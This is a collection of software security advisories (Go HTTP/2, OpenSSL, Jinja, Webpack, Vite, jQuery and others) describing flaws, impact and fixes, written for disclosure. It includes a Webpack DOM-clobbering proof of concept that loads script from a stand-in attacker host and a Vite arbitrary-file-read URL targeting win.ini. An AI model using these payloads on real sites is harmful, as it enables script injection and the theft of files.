Last updated 14 November 2024
A malicious HTTP/2 client which rapidly creates requests and immediately resets them can cause excessive server resource consumption. While the total number of requests is bounded by the http2.Server.MaxConcurrentStreams setting, resetting an in-progress request allows the attacker to create a new request while the existing one is still executing.
With the fix applied, HTTP/2 servers now bound the number of simultaneously executing handler goroutines to the stream concurrency limit (MaxConcurrentStreams). New requests arriving when at the limit (which can only happen after the client has reset an existing, in-flight request) will be queued until a handler exits. If the request queue grows too large, the server will terminate the connection.
This issue is also fixed in golang.org/x/net/http2 for users manually configuring HTTP/2.
The default stream concurrency limit is 250 streams (requests) per HTTP/2 connection. This value may be adjusted using the golang.org/x/net/http2 package; see the Server.MaxConcurrentStreams setting and the ConfigureServer function.
Incorrect forwarding of sensitive headers and cookies on HTTP redirect in net/http
Insufficient sanitization of Host header in net/http
A certificate with a URI which has a IPv6 address with a zone ID may incorrectly satisfy a URI name constraint that applies to the certificate chain.
Certificates containing URIs are not permitted in the web PKI, so this only affects users of private PKIs which make use of URIs.
Calling any of the Parse functions on Go source code which contains deeply nested literals can cause a panic due to stack exhaustion.
Last updated 14 November 2024
Last updated 14 November 2024
Denial of service due to improper 100-continue handling in net/http
Impact
The issue only occurs when the CLIENT SETINFO command times out during connection establishment. The following circumstances can cause such a timeout:
1. The client is configured to transmit its identity. This can be disabled via the DisableIndentity flag. 2. There are network connectivity issues 3. The client was configured with aggressive timeouts
The impact differs by use case:
Sticky connections: Rather than using a connection from the pool on-demand, the caller can stick with a connection. Then you receive persistent out-of-order responses for the lifetime of the connection. Pipelines: All commands in the pipeline receive incorrect responses. Default connection pool usage without pipelining: When used with the default ConnPool once a connection is returned after use with ConnPool#Put the read buffer will be checked and the connection will be marked as bad due to the unread data. This means that at most one out-of-order response before the connection is discarded.
Patches We prepared a fix in https://github.com/redis/go-redis/pull/3295 and plan to release patch versions soon.
Workarounds You can prevent the vulnerability by setting the flag DisableIndentity (BTW: We also need to fix the spelling.) to true when constructing the client instance.
Credit
Akhass Wasti Ramin Ghorashi Anton Amlinger Syed Rahman Mahesh Venkateswaran Sergey Zavoloka Aditya Adarwal Abdulla Anam Abd-Alhameed Alex Vanlint Gaurav Choudhary Vedanta Jha Yll Kelani Ryan Picard
Abnormal termination of an application can a cause a denial of service.
Applications performing certificate name checks (e.g., TLS clients checking server certificates) may attempt to read an invalid memory address when comparing the expected name with an otherName subject alternative name of an X.509 certificate. This may result in an exception that terminates the application program.
Note that basic certificate chain validation (signatures, dates, ...) is not affected, the denial of service can occur only when the application also specifies an expected DNS name, Email address or IP address.
TLS servers rarely solicit client certificates, and even when they do, they generally don't perform a name check against a "reference identifier" (expected identity), but rather extract the presented identity after checking the certificate chain. So TLS servers are generally not affected and the severity of the issue is Moderate.
The FIPS modules in 3.3, 3.2, 3.1 and 3.0 are not affected by this issue. OpenSSL 1.1.1 and 1.0.2 are also not affected by this issue.
OpenSSL 3.3, 3.2, 3.1 and 3.0 are vulnerable to this issue.
OpenSSL 3.3 users should upgrade to OpenSSL 3.3.2
OpenSSL 3.2 users should upgrade to OpenSSL 3.2.3
OpenSSL 3.1 users should upgrade to OpenSSL 3.1.7
OpenSSL 3.0 users should upgrade to OpenSSL 3.0.15
A bug in the Jinja compiler allows an attacker that controls both the content and filename of a template to execute arbitrary Python code, regardless of if Jinja's sandbox is used.
To exploit the vulnerability, an attacker needs to control both the filename and the contents of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates where the template author can also choose the template filename.
Summary
We discovered a DOM Clobbering vulnerability in Webpack’s AutoPublicPathRuntimeModule. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.
We found the real-world exploitation of this gadget in the Canvas LMS which allows XSS attack happens through an javascript code compiled by Webpack (the vulnerable part is from Webpack). We believe this is a severe issue. If Webpack’s code is not resilient to DOM Clobbering attacks, it could lead to significant security vulnerabilities in any web application using Webpack-compiled code.
Details
Backgrounds
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23domclob.pdf [2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/
Gadgets found in Webpack
We identified a DOM Clobbering vulnerability in Webpack’s AutoPublicPathRuntimeModule. When the output.publicPath field in the configuration is not set or is set to auto, the following code is generated in the bundle to dynamically resolve and load additional JavaScript files:
// / webpack/runtime/publicPath / // (() => { // var scriptUrl; // if (webpackrequire.g.importScripts) scriptUrl = webpackrequire.g.location + ""; // var document = webpackrequire.g.document; // if (!scriptUrl && document) { // if (document.currentScript) // scriptUrl = document.currentScript.src; // if (!scriptUrl) { // var scripts = document.getElementsByTagName("script"); // if(scripts.length) { // var i = scripts.length - 1; // while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src; // } // } // } // // When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration // // or pass an empty string ("") and set the webpackpublicpath variable from your code to use your own logic. // if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser"); // scriptUrl = scriptUrl.replace(/#.$/, "").replace(/\?.$/, "").replace(/\/[^\/]+$/, "/"); // webpackrequire.p = scriptUrl; // })();
However, this code is vulnerable to a DOM Clobbering attack. The lookup on the line with document.currentScript can be shadowed by an attacker, causing it to return an attacker-controlled HTML element instead of the current script element as intended. In such a scenario, the src attribute of the attacker-controlled element will be used as the scriptUrl and assigned to webpackrequire.p. If additional scripts are loaded from the server, webpackrequire.p will be used as the base URL, pointing to the attacker's domain. This could lead to arbitrary script loading from the attacker's server, resulting in severe security risks.
PoC
Please note that we have identified a real-world exploitation of this vulnerability in the Canvas LMS. Once the issue has been patched, I am willing to share more details on the exploitation. For now, I’m providing a demo to illustrate the concept.
Consider a website developer with the following two scripts, entry.js and import1.js, that are compiled using Webpack:
// entry.js import('./import1.js') .then(module => { module.hello(); }) .catch(err => { console.error('Failed to load module', err); });
// import1.js export function hello () { console.log('Hello'); }
The webpack.config.js is set up as follows: const path = require('path');
module.exports = { entry: './entry.js', // Ensure the correct path to your entry file output: { filename: 'webpack-gadgets.bundle.js', // Output bundle file path: path.resolve(dirname, 'dist'), // Output directory publicPath: "auto", // Or leave this field not set }, target: 'web', mode: 'development', };
When the developer builds these scripts into a bundle and adds it to a webpage, the page could load the import1.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.
<!DOCTYPE html> <html> <head> <title>Webpack Example</title> <!-- Attacker-controlled Script-less HTML Element starts--!> <img name="currentScript" src="https://attacker.controlled.server/"></img> <!-- Attacker-controlled Script-less HTML Element ends--!> </head> <script src="./dist/webpack-gadgets.bundle.js"></script> <body> </body> </html>
Impact
This vulnerability can lead to cross-site scripting (XSS) on websites that include Webpack-generated files and allow users to inject certain scriptless HTML tags with improperly sanitized name or id attributes.
Patch
A possible patch to this vulnerability could refer to the Google Closure project which makes itself resistant to DOM Clobbering attack: https://github.com/google/closure-library/blob/b312823ec5f84239ff1db7526f4a75cba0420a33/closure/goog/base.js#L174
// / webpack/runtime/publicPath / // (() => { // var scriptUrl; // if (webpackrequire.g.importScripts) scriptUrl = webpackrequire.g.location + ""; // var document = webpackrequire.g.document; // if (!scriptUrl && document) { // if (document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT') // Assume attacker cannot control script tag, otherwise it is XSS already :> // scriptUrl = document.currentScript.src; // if (!scriptUrl) { // var scripts = document.getElementsByTagName("script"); // if(scripts.length) { // var i = scripts.length - 1; // while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src; // } // } // } // // When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration // // or pass an empty string ("") and set the webpackpublicpath variable from your code to use your own logic. // if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser"); // scriptUrl = scriptUrl.replace(/#.$/, "").replace(/\?.$/, "").replace(/\/[^\/]+$/, "/"); // webpackrequire.p = scriptUrl; // })();
Please note that if we do not receive a response from the development team within three months, we will disclose this vulnerability to the CVE agent.
An oversight in how the Jinja sandboxed environment detects calls to str.format allows an attacker that controls the content of a template to execute arbitrary Python code.
To exploit the vulnerability, an attacker needs to control the content of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates.
Jinja's sandbox does catch calls to str.format and ensures they don't escape the sandbox. However, it's possible to store a reference to a malicious string's format method, then pass that to a filter that calls it. No such filters are built-in to Jinja, but could be present through custom filters in an application. After the fix, such indirect calls are also handled by the sandbox.
A flaw was found in GnuTLS, which relies on libtasn1 for ASN.1 data processing. Due to an inefficient algorithm in libtasn1, decoding certain DER-encoded certificate data can take excessive time, leading to increased resource consumption. This flaw allows a remote attacker to send a specially crafted certificate, causing GnuTLS to become unresponsive or slow, resulting in a denial-of-service condition.
A flaw in libtasn1 causes inefficient handling of specific certificate data. When processing a large number of elements in a certificate, libtasn1 takes much longer than expected, which can slow down or even crash the system. This flaw allows an attacker to send a specially crafted certificate, causing a denial of service attack.
Issue summary: A timing side-channel which could potentially allow recovering the private key exists in the ECDSA signature computation.
Impact summary: A timing side-channel in ECDSA signature computations could allow recovering the private key by an attacker. However, measuring the timing would require either local access to the signing application or a very fast network connection with low latency.
There is a timing signal of around 300 nanoseconds when the top word of the inverted ECDSA nonce value is zero. This can happen with significant probability only for some of the supported elliptic curves. In particular the NIST P-521 curve is affected. To be able to measure this leak, the attacker process must either be located in the same physical computer or must have a very fast network connection with low latency. For that reason the severity of this vulnerability is Low.
Issue summary: Some non-default TLS server configurations can cause unbounded memory growth when processing TLSv1.3 sessions
An attacker may cause an HTTP/2 endpoint to read arbitrary amounts of header data by sending an excessive number of CONTINUATION frames. Maintaining HPACK state requires parsing and processing all HEADERS and CONTINUATION frames on a connection. When a request's headers exceed MaxHeaderBytes, no memory is allocated to store the excess headers, but they are still parsed. This permits an attacker to cause an HTTP/2 endpoint to read arbitrary amounts of header data, all associated with a request which is going to be rejected. These headers can include Huffman-encoded data which is significantly more expensive for the receiver to decode than for an attacker to send. The fix sets a limit on the amount of excess header frames we will process before closing a connection.
Prism (aka PrismJS) through 1.29.0 allows DOM Clobbering (with resultant XSS for untrusted input that contains HTML but does not directly contain JavaScript), because document.currentScript lookup can be shadowed by attacker-injected HTML elements.
Excessive time spent checking DSA keys and parameters
Impact Passing HTML containing <option> elements from untrusted sources - even after sanitizing them - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code.
Patches This problem is patched in jQuery 3.5.0.
Workarounds To workaround this issue without upgrading, use DOMPurify with its SAFEFORJQUERY option to sanitize the HTML string before passing it to a jQuery method.
References https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/
For more information If you have any questions or comments about this advisory, search for a relevant issue in the jQuery repo. If you don't find an answer, open a new issue.
Memory Exhaustion in braces
Summary
Function parse.ParseUnverified currently splits (via a call to strings.Split) its argument (which is untrusted data) on periods.
As a result, in the face of a malicious request whose Authorization header consists of Bearer followed by many period characters, a call to that function incurs allocations to the tune of O(n) bytes (where n stands for the length of the function's argument), with a constant factor of about 16. Relevant weakness: CWE-405: Asymmetric Resource Consumption (Amplification)
Details
See parse.ParseUnverified
Impact
Excessive memory allocation
A timing based side-channel exists in the libgcrypt RSA implementation which could be sufficient to recover a plaintext across a network in a Bleichenbacher style attack. To achieve successful decryption an attacker would have to be able to send a large number of trial messages for decryption. The vulnerability affects all RSA padding modes: PKCS#1 v1.5, RSA-OAEP, and RSASVE.
Summary
The contents of arbitrary files can be returned to the browser.
Impact Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Details
- base64 encoded content of non-allowed files is exposed using ?inline&import (originally reported as ?import&?inline=1.wasm?init) - content of non-allowed files is exposed using ?raw?import
/@fs/ isn't needed to reproduce the issue for files inside the project root.
PoC
Original report (check details above for simplified cases):
The ?import&?inline=1.wasm?init ending allows attackers to read arbitrary files and returns the file content if it exists. Base64 decoding needs to be performed twice $ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev
Example full URL http://localhost:5173/@fs/C:/windows/win.ini?import&?inline=1.wasm?init
musl libc 0.9.13 through 1.2.5 before 1.2.6 has an out-of-bounds write vulnerability when an attacker can trigger iconv conversion of untrusted EUC-KR text to UTF-8.
Summary Koa uses an evil regex to parse the X-Forwarded-Proto and X-Forwarded-Host HTTP headers. This can be exploited to carry out a Denial-of-Service attack.
PoC
Coming soon.
Impact This is a Regex Denial-of-Service attack and causes memory exhaustion. The regex should be improved and empty values should not be allowed.
A flaw was found in the Pulp package. When a role-based access control (RBAC) object in Pulp is set to assign permissions on its creation, it uses the AutoAddObjPermsMixin (typically the addrolesforobjectcreator method). This method finds the object creator by checking the current authenticated user. For objects that are created within a task, this current user is set by the first user with any permissions on the task object. This means the oldest user with model/domain-level task permissions will always be set as the current user of a task, even if they didn't dispatch the task. Therefore, all objects created in tasks will have their permissions assigned to this oldest user, and the creating user will receive nothing.
An absolute path traversal attack exists in the Ansible automation platform. This flaw allows an attacker to craft a malicious Ansible role and make the victim execute the role. A symlink can be used to overwrite a file outside of the extraction path.